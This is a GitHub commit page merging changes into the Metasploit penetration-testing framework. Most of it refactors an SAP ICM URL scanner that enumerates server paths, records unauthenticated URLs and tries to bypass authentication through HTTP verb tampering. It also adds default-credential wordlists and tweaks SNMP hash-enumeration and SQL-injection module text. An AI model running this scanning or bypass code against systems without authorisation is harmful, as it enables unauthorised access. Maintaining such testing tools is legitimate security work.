Skip to content

Commit ddc8a4f

Browse files
author
HD Moore
committed
Merge branch 'master' of github.com:rapid7/metasploit-framework into feature/recog
2 parents 8119468 + a30d6b1 commit ddc8a4f

10 files changed

+4364
-76
lines changed

data/wordlists/default_pass_for_services_unhash.txt

Lines changed: 1214 additions & 0 deletions
Large diffs are not rendered by default.

data/wordlists/default_userpass_for_services_unhash.txt

Lines changed: 1787 additions & 0 deletions
Large diffs are not rendered by default.

data/wordlists/default_users_for_services_unhash.txt

Lines changed: 915 additions & 0 deletions
Large diffs are not rendered by default.

modules/auxiliary/admin/scada/advantech_webaccess_dbvisitor_sqli.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ def initialize(info = {})
1919
This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The
2020
vulnerability exists in the DBVisitor.dll component, and can be abused through malicious
2121
requests to the ChartThemeConfig web service. This module can be used to extract the site
22-
and projects usernames and hashes.
22+
and project usernames and hashes.
2323
},
2424
'References' =>
2525
[

modules/auxiliary/scanner/sap/sap_icm_urlscan.rb

Lines changed: 80 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'rex/proto/http'
76
require 'msf/core'
87

98
class Metasploit3 < Msf::Auxiliary
@@ -30,143 +29,160 @@ def initialize(info = {})
3029
register_options(
3130
[
3231
OptString.new('VERB', [true, "Verb for auth bypass testing", "HEAD"]),
33-
OptString.new('URLFILE', [true, "SAP ICM Paths File", "sap_icm_paths.txt"])
32+
OptPath.new('URLFILE', [true, "SAP ICM Paths File",
33+
File.join(Msf::Config.data_directory, 'wordlists', 'sap_icm_paths.txt')])
3434
], self.class)
3535
end
3636

3737
# Base Structure of module borrowed from jboss_vulnscan
3838
def run_host(ip)
39-
# If URLFILE is set empty, obviously the user made a silly mistake
40-
if datastore['URLFILE'].empty?
41-
print_error("Please specify a URLFILE")
42-
return
43-
end
44-
45-
# Initialize the actual URLFILE path
46-
if datastore['URLFILE'] == "sap_icm_paths.txt"
47-
url_file = "#{Msf::Config.data_directory}/wordlists/#{datastore['URLFILE']}"
48-
else
49-
# Not the default sap_icm_paths file
50-
url_file = datastore['URLFILE']
51-
end
52-
53-
# If URLFILE path doesn't exist, no point to continue the rest of the script
54-
if not File.exists?(url_file)
55-
print_error("Required URL list #{url_file} was not found")
56-
return
57-
end
58-
59-
res = send_request_cgi(
39+
res = send_request_cgi(
6040
{
6141
'uri' => "/" + Rex::Text.rand_text_alpha(12),
6242
'method' => 'GET',
63-
'ctype' => 'text/plain',
64-
}, 20)
43+
})
6544

6645
if res
6746
print_status("Note: Please note these URLs may or may not be of interest based on server configuration")
6847
@info = []
69-
if not res.headers['Server'].nil?
48+
if res.headers['Server']
7049
@info << res.headers['Server']
7150
print_status("#{rhost}:#{rport} Server responded with the following Server Header: #{@info[0]}")
7251
else
7352
print_status("#{rhost}:#{rport} Server responded with a blank or missing Server Header")
7453
end
7554

76-
if (res.body and /class="note">(.*)code:(.*)</i.match(res.body) )
55+
if (res.body && /class="note">(.*)code:(.*)</i.match(res.body) )
7756
print_error("#{rhost}:#{rport} SAP ICM error message: #{$2}")
7857
end
7958

8059
# Load URLs
81-
urls_to_check = []
82-
File.open(url_file) do |f|
60+
urls_to_check = check_urlprefixes
61+
File.open(datastore['URLFILE']) do |f|
8362
f.each_line do |line|
8463
urls_to_check.push line
8564
end
8665
end
8766

8867
print_status("#{rhost}:#{rport} Beginning URL check")
68+
@valid_urls = ''
8969
urls_to_check.each do |url|
9070
check_url(url.strip)
9171
end
92-
# check custom URLs
93-
check_urlprefixes
9472
else
9573
print_error("#{rhost}:#{rport} No response received")
9674
end
9775

76+
if @valid_urls.length > 0
77+
l = store_loot(
78+
'sap.icm.urls',
79+
"text/plain",
80+
datastore['RHOST'],
81+
@valid_urls,
82+
"icm_urls.txt", "SAP ICM Urls"
83+
)
84+
print_line
85+
print_good("Stored urls as loot: #{l}") if l
86+
end
9887
end
9988

10089
def check_url(url)
90+
full_url = write_url(url)
10191
res = send_request_cgi({
102-
'uri' => url,
92+
'uri' => normalize_uri(url),
10393
'method' => 'GET',
104-
'ctype' => 'text/plain',
105-
}, 20)
94+
})
10695

10796
if (res)
108-
if not @info.include?(res.headers['Server']) and not res.headers['Server'].nil?
109-
print_good("New server header seen [#{res.headers['Server']}]")
110-
@info << res.headers['Server'] #Add To seen server headers
97+
if res.headers['Server']
98+
unless @info.include?(res.headers['Server'])
99+
print_good("New server header seen [#{res.headers['Server']}]")
100+
@info << res.headers['Server'] #Add To seen server headers
101+
end
111102
end
112103

113-
case
114-
when res.code == 200
115-
print_good("#{rhost}:#{rport} #{url} - does not require authentication (200) (length: #{res.headers['Content-Length']})")
116-
when res.code == 403
117-
print_good("#{rhost}:#{rport} #{url} - restricted (403)")
118-
when res.code == 401
119-
print_good("#{rhost}:#{rport} #{url} - requires authentication (401): #{res.headers['WWW-Authenticate']}")
104+
case res.code
105+
when 200
106+
print_good("#{full_url} - does not require authentication (#{res.code}) (length: #{res.headers['Content-Length']})")
107+
@valid_urls << full_url << "\n"
108+
when 403
109+
print_status("#{full_url} - restricted (#{res.code})")
110+
when 401
111+
print_status("#{full_url} - requires authentication (#{res.code}): #{res.headers['WWW-Authenticate']}")
112+
@valid_urls << full_url << "\n"
120113
# Attempt verb tampering bypass
121114
bypass_auth(url)
122-
when res.code == 404
115+
when 404
123116
# Do not return by default, only display in verbose mode
124-
vprint_status("#{rhost}:#{rport} #{url.strip} - not found (404)")
125-
when res.code == 500
126-
print_good("#{rhost}:#{rport} #{url} - produced a server error (500)")
127-
when res.code == 301, res.code == 302
128-
print_good("#{rhost}:#{rport} #{url} - redirected (#{res.code}) to #{res.headers['Location']} (not following)")
117+
vprint_status("#{full_url} - not found (#{res.code})")
118+
when 400, 500
119+
print_status("#{full_url} - produced a server error (#{res.code})")
120+
when 301, 302
121+
print_good("#{full_url} - redirected (#{res.code}) to #{res.redirection} (not following)")
122+
@valid_urls << full_url << "\n"
123+
when 307
124+
print_status("#{full_url} - redirected (#{res.code}) to #{res.redirection} (not following)")
129125
else
130-
vprint_status("#{rhost}:#{rport} - unhandle response code #{res.code}")
126+
print_error("#{full_url} - unhandled response code #{res.code}")
127+
@valid_urls << full_url << "\n"
131128
end
132129

133130
else
134-
print_status("#{rhost}:#{rport} #{url} - not found (No Response code Received)")
131+
vprint_status("#{full_url} - not found (No Repsonse code Received)")
135132
end
136133
end
137134

135+
def write_url(path)
136+
if datastore['SSL']
137+
protocol = 'https://'
138+
else
139+
protocol = 'http://'
140+
end
141+
142+
"#{protocol}#{rhost}:#{rport}#{path}"
143+
end
144+
138145
def bypass_auth(url)
139-
print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")
146+
full_url = write_url(url)
147+
vprint_status("#{full_url} Check for verb tampering (#{datastore['VERB']})")
140148

141149
res = send_request_raw({
142-
'uri' => url,
150+
'uri' => normalize_uri(url),
143151
'method' => datastore['VERB'],
144152
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
145-
}, 20)
153+
})
146154

147-
if (res and res.code == 200)
148-
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering (length: #{res.headers['Content-Length']})")
155+
if (res && res.code == 200)
156+
print_good("#{full_url} Got authentication bypass via HTTP verb tampering")
149157
else
150-
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
158+
vprint_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
151159
end
152160
end
153161

162+
# "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS.
163+
# This is how the message server finds out which URLs must be forwarded where.
164+
# (SAP help) -> this disclose custom URLs that are also checked for authentication
154165
def check_urlprefixes
155-
# "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS. This is how the message server finds out which URLs must be forwarded where." (SAP help)
156-
# -> this disclose custom URLs that are also checked for authentication
166+
urls = []
157167
res = send_request_cgi({
158168
'uri' => "/sap/public/icf_info/urlprefix",
159169
'method' => 'GET',
160-
'ctype' => 'text/plain',
161-
}, 20)
162-
if (res and res.code == 200)
170+
})
171+
172+
if (res && res.code == 200)
163173
res.body.each_line do |line|
164174
if line =~ /PREFIX=/
165175
url_enc = line.sub(/^PREFIX=/, '')
176+
# Remove CASE and VHOST
177+
url_enc = url_enc.sub(/&CASE=.*/, '')
166178
url_dec = URI.unescape(url_enc).sub(/;/, '')
167-
check_url(url_dec.strip)
179+
urls << url_dec.strip
168180
end
169181
end
182+
else
183+
print_error("#{rhost}:#{rport} Could not retrieve urlprefixes")
170184
end
185+
186+
urls
171187
end
172188
end

modules/auxiliary/scanner/snmp/brocade_enumhash.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ def run_host(ip)
4444
row.each { |val| @hashes << val.value.to_s }
4545
end
4646

47-
print_good("#{ip} Found Users & Password Hashes:")
47+
print_good("#{ip} - Found user and password hashes:")
4848
end
4949

5050
credinfo = ""
@@ -67,7 +67,7 @@ def run_host(ip)
6767
rescue ::Interrupt
6868
raise $!
6969
rescue ::Exception => e
70-
print_error("#{ip} error: #{e.class} #{e}")
70+
print_error("#{ip} - Error: #{e.class} #{e}")
7171
disconnect_snmp
7272
end
7373
end

modules/auxiliary/scanner/snmp/netopia_enum.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ def run_host(ip)
9595
rescue ::Interrupt
9696
raise $!
9797
rescue ::Exception => e
98-
print_error("#{ip} error: #{e.class} #{e}")
98+
print_error("#{ip} - Error: #{e.class} #{e}")
9999
disconnect_snmp
100100
end
101101
end

modules/auxiliary/scanner/snmp/ubee_ddw3611.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -152,7 +152,7 @@ def run_host(ip)
152152
rescue ::Interrupt
153153
raise $!
154154
rescue ::Exception => e
155-
print_error("#{ip} error: #{e.class} #{e}")
155+
print_error("#{ip} - Error: #{e.class} #{e}")
156156
disconnect_snmp
157157
end
158158
end

0 commit comments

Comments
 (0)